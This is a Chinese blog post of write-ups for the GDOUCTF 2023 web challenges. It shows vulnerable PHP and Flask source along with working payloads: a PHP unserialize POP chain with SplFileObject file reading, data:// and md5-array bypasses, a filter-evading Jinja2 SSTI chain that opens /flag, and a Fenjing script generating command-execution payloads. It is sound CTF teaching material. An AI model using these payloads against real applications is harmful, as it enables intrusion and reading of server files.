[GDOUCTF 2023]
本文最后更新于395 天前,其中的信息可能已经过时,如有错误请发送邮件到1714510997@qq.com

反方向的钟

简单的反序列化加原生类的利用

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

构造pop链:

school::__wakeup()->classroom::hahaha()->teacher::__construct()->Ture->school::IPO()

payload:

<?php

class teacher{
    public $name = "ing";
    public $rank = "department";
    private $salary;  
}

class classroom{
    public $name = "one class";
    public $leader;
}

class school{
    public $department;
    public $headmaster = "ong";
}

$a = new teacher;
$b = new classroom;
$c = new school;
$b->leader = $a;
$c->department = $b;

echo base64_encode(serialize($c));

题目中提示了flag.php,而且IPO()方法中的利用方式是new $_POST['a']($_POST['b']),那我们很容易就联想到了php原生类的利用

POST:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

hate eat snake

前端小游戏,修改前端代码即可

Snake.prototype.getScore = function () { return 61 }, alert = console.log

泄露的伪装

源码泄露,用dirsearch扫一下,扫出来了一个压缩文件

内容意思是让我们去/orzorz.php

<?php
error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?>

用伪协议读取文件即可

get:?cxk=data://text/plain,ctrl
get:?cxk=data://text/plain;base64,Y3RybA== (base64encode(ctrl)=Y3RybA==

受不了一点

几个简单的php特性绕过以及变量覆盖问题

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>

payload:

GET: ?aaa=114514&bbb=114514a&123=flag&flag=123

POST: ctf[]=1&gdou[]=2

Cookie: cookie=j0k3r

EZ Web

查看源码之后访问/src即可得到此题的源码


import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

用bp发包,把GET改成PUT即可

ez_ze

SSTI漏洞,也是[GDOUCTF 2023]最难的一道题

我们随便输入一个值比如1,然后抓包分析就会发现这是用python写的界面,那么很可能存在SSTI

过滤了一些关键字,那我们就通过构造来获取关键字

payload:

{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(ini=a, t=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a, bals=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a, item=b)|join,a,a)|join()%}
{% set built=(a,a,dict(buil=a, tins=b)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% print((x|attr(geti))('open')('/flag')|attr('read')()) %}

还有更自动化的方法,Fenjing

from fenjing import exec_cmd_payload

import functools
import time
import logging

logging.basicConfig(level=logging.WARNING)


def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "request","init","builtins",
        "{{",".","[","}}"
    ]

    for word in blacklist:
        if word in s:
            return False
    return True


payload, _ = exec_cmd_payload(waf, "ls /")

print(payload)

只需要将被绕过的字符调整一下即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇